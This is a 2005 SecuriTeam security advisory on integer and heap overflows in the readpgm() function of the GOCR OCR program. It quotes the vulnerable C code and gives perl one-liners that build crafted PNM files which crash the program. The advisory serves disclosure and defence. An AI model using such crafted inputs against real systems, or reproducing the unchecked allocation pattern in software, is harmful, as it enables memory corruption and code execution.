

# [UNIX] Buffer Overflow in GOCR

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-04/0152.html>

---

**From:** SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

**Date:** 04/26/05

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 26 Apr 2005 09:46:07 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

Buffer Overflow in GOCR

---

## SUMMARY

" <<http://jocr.sourceforge.net/index.html>> GOCR is an OCR (Optical Character Recognition) program, developed under the GNU Public License. It converts scanned images of text back to text files. Joerg Schulenburg started the program, and now leads a team of developers. GOCR can be used with different front-ends, which makes it very easy to port to different OSES and architectures. It can open many different image formats, and its quality have been improving in a daily basis."

GOCR – open-source character recognition software is vulnerable to buffer overflow, allowing malicious user to execute code on vulnerable system.

## DETAILS

Vulnerable Systems:

\* gocr version 0.40, previous versions suspected.

Integer overflow in `readpgm()`, using `netpbm` library

An integer overflow leading to heap overflow, exists when GOCR read special crafted PNM file. The vulnerable code is in function `readpgm()` that use `netpbm` library:

## Securiteam: [UNIX] Buffer Overflow in GOCR

```
----- Begin Code
-----
/*
  for simplicity only PAM of netpbm is used, the older formats
  PBM, PGM and PPM can be handled implicitly by PAM routines (js05)
*/
#ifdef HAVE_PAM_H
void readpgm(char *name, pix * p, int vvv) {
  ...
  /* read pgm */
  pnm_readpaminit(fp, &inpam, sizeof(inpam));

  p->x = inpam.width;
  p->y = inpam.height;
  if ( !(p->p = (unsigned char *)malloc(p->x*p->y)) )
    F1("Error at malloc: p->p: %d bytes", p->x*p->y);
  ...
  for ( i=0; i < inpam.height; i++ ) {
    pnm_readpamrow(&inpam, tuplerow);
    for ( j = 0; j < inpam.width; j++ ) {
      ...
      p->p[i*inpam.width+j] = sample;
      ...
    }
  }
}
}
}
----- End Code
-----
```

If result of `p->x*p->y` overflow integer variable, we can allocate not enough memory for image buffer. For example, if height of image is 4 and width is 1073741825, we allocate only 4 bytes for it. This vulnerability lead to heap overflow on reading base data of pmn file.

Heap Overflow in `readpgm()` that don't use netpbm library.  
A heap overflow exists when GOCR read special craftem plain PNM file (P3 format). The vulnerable code is in function `readpgm()` that NOT used netpbm library:

```
----- Begin Code
-----
/*
  if PAM not installed, here is the fallback routine,
  which is not so powerful
*/
void readpgm(char *name, pix *p, int vvv){
  ..
  pic=(unsigned char *)malloc( nx*ny );
  ..
  if( c2=='3' )for(mod=k=j=i=0;i<nx*ny*3 && !feof(f1)){
    c1=read_char(f1);
```

## Securiteam: [UNIX] Buffer Overflow in GOCR

```
if( !isdigit(c1) ) { if( !isspace(c1) )F0("unexpected char");
  if(1&mod) { k+=j; if(mod==5){ pic[i]=k/3; i++; }
  j=0; mod=(mod+1)%6; } }
else { j=j*10+c1-'0'; if(!(mod&1)) mod++; };
}
```

----- End Code  
-----

The array pic is only nx\*ny elements large, but loop end when "i<nx\*ny\*3 && !feof(f1)", so if file have more bytes, pic array could be overflowed.

Proof of Concept:

Integer overflow:

```
bash-2.05b$ perl -e 'print "P3\n4 1073741825\n255\n"; print "0 "x1024' >
vuln.pnm
```

```
bash-2.05b$ ./gocr vuln.pnm
```

Segmentation fault (core dumped)

Heap overflow:

```
bash-2.05b$ perl -e 'print "P3\n10 10\n255\n"; print "0 "x1024' > vuln.pnm
```

```
bash-2.05b$ ./gocr vuln.pnm
```

Segmentation fault (core dumped)

### ADDITIONAL INFORMATION

The information has been provided by <mailto:adv@overflow.pl>

Overflow.pl.

The original article can be found at:

<<http://www.overflow.pl/adv/gocr.txt>> <http://www.overflow.pl/adv/gocr.txt>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.